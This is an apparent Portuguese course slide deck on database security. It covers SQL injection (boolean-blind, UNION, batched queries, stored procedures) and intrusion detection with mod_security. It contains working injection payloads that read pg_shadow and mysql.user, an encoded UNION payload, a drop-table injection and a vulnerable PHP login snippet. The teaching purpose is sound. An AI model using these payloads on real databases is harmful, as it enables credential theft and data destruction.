• Nenhum resultado encontrado

Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem )

N/A
N/A
Protected

Academic year: 2021

Share "Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem )"

Copied!
40
0
0

Texto

(1)

Segurança de Aplicações e Banco de Dados

Gestão de Segurança da Informação

pós-graduação Lato Sensu

Segurança de Banco de Dados

( SQL Injection, APBIDS, Modelagem )

Patrick Tracanelli Francisco Temponi

(2)

SABD

SQL INJECTION

Definição segundo a OWASP (Open Web Application

Security Project), ISC^2 e Sans Security:

“SQL injection attacks are a

type

of

injection

attack

, in which

SQL

commands

are injected into

data-plane

input

in order to affect the execution of

predefined SQL commands”

Portando a definição deixa claro:

(3)

SABD

SQL INJECTION

(4)

SABD

SQL INJECTION

SQL Injection se aplica apenas à ambiente Web?

Não. Os target mais comuns em

ordem de exploração, são:

Ambiente Web

Stored Procedures

Functions

(5)

SABD

SQL INJECTION

SQL Injection se aplica apenas à ambiente Web?

Não. Os target mais comuns em

ordem de exploração, são:

Ambiente Web

Stored Procedures

Functions

As técnicas de exploração de

Injeção SQL são 3:

Logical/Boolean-based blind

UNION query

Batched queries

(6)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

- Técnica de ataque “cego” baseado em lógica.

- É o tipo mais comum.

- Também conhecido como

or 1=1

(e similares, tamanha

simplicidade)

(7)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

- Técnica de ataque “cego” baseado em lógica.

- É o tipo mais comum.

- Também conhecido como

or 1=1

(e similares, tamanha

simplicidade)

(8)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Consideremos o seguinte trecho de código (php):

<? php $u = $_P O S T['us ua rio']; $p = $_P O S T['s enha ']; $s ql = “S E L E C T * FR O M us ua rios W H E R E c odig o = '$u' A N D s enha = '$p'”; ? >

(9)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Consideremos o seguinte trecho de código (php):

<? php $u = $_P O S T['us ua rio']; $p = $_P O S T['s enha ']; $s ql = “S E L E C T * FR O M us ua rios W H E R E c odig o = '$u' A N D s enha = '$p'”; ? > Na Web:

(10)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Consideremos o seguinte trecho de código (php):

<? php $u = $_P O S T['us ua rio']; $p = $_P O S T['s enha ']; $s ql = “S E L E C T * FR O M us ua rios W H E R E us erna m e = '$u' A N D s enha = '$p'”; ? > Na Web:

(11)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Como identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?

Passo 1: A aplicação retorna erro de sintaxe no banco ao manipular a

string de entrada artificialmente?

Se sim, a probabilidade dele não validar o input é enorme. Passo 2: A aplicação sabe fazer matemática?

Exemplo: index.aspx?notid=2 e index.aspx?notid=1+1 retornam o mesmo conteúdo?

Passo 3: A aplicação sabe lógica?

(12)

SABD

SQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Como identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?

Passo 3: A aplicação sabe lógica?

Exemplo: index.aspx?notid=2+or+(+1=1+)

Se a resposta for SIM: INFORMATION LEAK

Se SIM: A aplicação executará tudo que receber na entrada.

A mais básica vulnerabilidade SQL Injection (e também uma das mais perigosas). Para obter a informação que você precisa, basta fazer a query correta (se o usuário do banco tiver acesso a ela).

(13)

SABD

SQL INJECTION

UNION QUERY

(14)

SABD

SQL INJECTION

UNION QUERY

UNION QUERY: O input não validado executando outras queries.

SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344 AND CardState='Active') AND

UserName='Luiz Inacio Silva'

SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344) UNION SELECT

CCNum,CCType,CCExp,CCName WHERE 1=1 (AND CardState='Active') AND UserName='Luiz Inacio Silva'

(15)

SABD

SQL INJECTION

UNION QUERY

UNION QUERY: O input não validado executando outras queries.

index.aspx?id=111+or+(+

(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)

Não dá certo?

index.aspx?id=111+UNION+(+

(16)

SABD

SQL INJECTION

UNION QUERY

UNION QUERY: O input não validado executando outras queries.

index.aspx?id=111+or+(+

(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)

Não dá certo?

index.aspx?id=111+UNION+(+

(+select+usesysid+from+pg_shadow+limit+1+offset+1)+)

Problema com o número de colunas ao unir as queries?

(17)

SABD

SQL INJECTION

UNION QUERY

UNION INJECTION mais avançado:

UNION ALL SELECT NULL, CHR(83)||CHR(114)||CHR(108)||CHR(71)|| CHR(86)||CHR(116)||COALESCE(CAST(usename AS CHARACTER(10000)),  CHR(32))||CHR(104)||CHR(100)||CHR(122)|| CHR(81)||CHR(121)||CHR(90)|| COALESCE(CAST(usecreatedb AS  CHARACTER(10000)), CHR(32))||CHR(104)|| CHR(100)||CHR(122)||CHR(81)||CHR(121)|| CHR(90)||COALESCE(CAST(usesuper AS  CHARACTER(10000)), CHR(32))||CHR(104)|| CHR(100)||CHR(122)||CHR(81)||CHR(121)|| CHR(90)||COALESCE(CAST(usecatupd AS  CHARACTER(10000)), CHR(32))||CHR(75)|| CHR(121)||CHR(80)||CHR(65)||CHR(68)|| CHR(102), NULL FROM pg_user­­

(18)

SABD

SQL INJECTION

(19)

SABD

SQL INJECTION

(20)

SABD

SQL INJECTION

BATCHED QUERIES

O irmão mais velho do Bobby Tables, John'); DROP current();

conseguiu uma namorada, a Ana, de sobre-mome ; drop table pg_shadow;

(21)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

O problema não é exclusivamente Web:

Procedure criada com usuário test no MySQL:

CREATE PROCEDURE sp_test (input varchar(100))

begin

SET @id = input;

SET @sql_text = concat(’SELECT text FROM

test_tbl where id=’,@id);

PREPARE stmt FROM @sql_text; EXECUTE stmt;

DEALLOCATE PREPARE stmt;

(22)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

O problema não é exclusivamente Web:

Procedure criada com usuário root do MySQL:

CREATE PROCEDURE sp_root (input varchar(100))

begin

SET @id = input;

SET @sql_text = concat(’SELECT text FROM

test_tbl where id=’,@id);

PREPARE stmt FROM @sql_text; EXECUTE stmt;

DEALLOCATE PREPARE stmt;

(23)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> select user();

+—————-+ |user()| +—————-+

| test@localhost | +—————-+

1 row in set (0.00 sec)

mysql> select user from mysql.user;

ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’

mysql> call sp_test(’1 union all select concat(user,password) from mysql.user’);

ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’

(24)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

(25)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

(26)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:

(27)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:

1) SQL Injection, técnica 2 – UNION – que você já reconhece; 2) Entendimento da aplicação.

(28)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:

1) SQL Injection, técnica 2 – UNION – que você já reconhece; 2) Entendimento da aplicação.

- Stored Procedure e Function tem poder de quem as cria, não de quem as executa, no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?

(29)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:

1) SQL Injection, técnica 2 – UNION – que você já reconhece; 2) Entendimento da aplicação.

- Stored Procedure e Function tem poder de quem as cria, não de quem as executa, no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?

- Você conhecer o Invoker Security? Ou Invoker Rights no (Oracle)? O que o recurso faz?

(30)

SABD

SQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Portanto do que vale criptografar

Stored Procedures e afins?

(31)

SABD

SQL INJECTION

FERRAMENTAS

Varredura semi-automatizada de SQL Injection, ferramenta de

Penetration Tests que eu sugiro:

(32)

SABD

APPLICATION BASED

INTRUSION DETECTION SYSTEM

(APBIDS)

O que é um APBIDS?

Quais os Tipos?

Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos: - Baseados em Taxonomia

- Passivo, Reativo, Preventivo - Cognitivos

(33)

SABD

APPLICATION BASED

INTRUSION DETECTION SYSTEM

(APBIDS)

O que é um APBIDS?

Quais os Tipos?

Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos: - Baseados em Taxonomia

- Passivo, Reativo, Preventivo - Cognitivos

- Passivo, Reativo, Preventivo

Quais Existem?

- Apache Web Server: mod_security (tomcat, apache, jboss, mono, ...)

(34)

SABD

APPLICATION BASED

INTRUSION DETECTION SYSTEM

(APBIDS)

O que é um APBIDS?

Quais os Tipos?

Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos: - Baseados em Taxonomia

- Passivo, Reativo, Preventivo - Cognitivos

- Passivo, Reativo, Preventivo Quais Existem?

- Apache Web Server: mod_security (tomcat, apache,

jboss, mono, ...) Microsoft IIS:- IIS-Guard

(35)

SABD

mod_security

O que é o mod_security?

Um APBIDS baseado em Assinatura Taxonômica, para Apache Web Server e suítes afins (TomCat, Jacarta, etc).

(36)

SABD

mod_security

Em um ambiente multi-camadas...

Exemplo abaixo ilustra o mod_security como solução de

segurança server-side para home banking, especificamente do Blue

(37)

SABD

mod_security

Como funciona?

(38)

SABD

IIS-Ensafe

O que é?

(39)

SABD

IIS-Ensafe

O que é?

Criado pela FreeBSD Brasil LTDA (pela FreeBSD BR??) - Apache Core + mod_proxy + mod_security

- 80% das funcionalidades originais do mod_security

- Faz uso da JWSCL API para implementar outros 11% das funcionalidades (mod_rewrite reescrito para o IIS com a JWCSL);

(40)

SABD

PERGUNTAS?

?

Referências

Documentos relacionados

As principais indicações para a realização foram a suspeita de tuberculose (458 pacientes) e uso de imunobiológicos (380 pacientes).. A maior prevalência de resultado positivo

Em caminho para Jerusalém visita do Monte Sião: Visita da Igreja de São Pedro em Galicantu (local onde se localizaria a casa de Caifas, onde Jesus permaneceu preso por

O pagamento das taxas relativas à emissão de lavarás ou comunicação prévia previstas nos artigos 3.º, 9.º a 10.º e 23.º a 24.º da (TU) pode, por deliberação da

Todas as informações processadas por uma organização, bem como os equipamentos e sistemas utilizados para o processamento destas, representam ativos valiosos, no sentido em que

A informação terá valor econômico para uma organização se ela gerar lucros ou se for alavancadora de vantagem competitiva, caso contrário poderá ter pouco ou nenhum valor....

Esta análise é uma ferramenta importante para a implementação de controles de segurança eficientes sobre os ativos de informação das empresas. É realizada através de um

Ataque: Um ataque à segurança do sistema, derivado de uma ameaça inteligente, ou seja, um ato inteligente que é uma tentativa deliberada de burlar os serviços de segurança e violar

É possível colocar diversas tabelas na cláusula FROM. Não devemos esquecer, porém, que é necessário especificar as chaves primária e estrangeira de cada relacionamento entre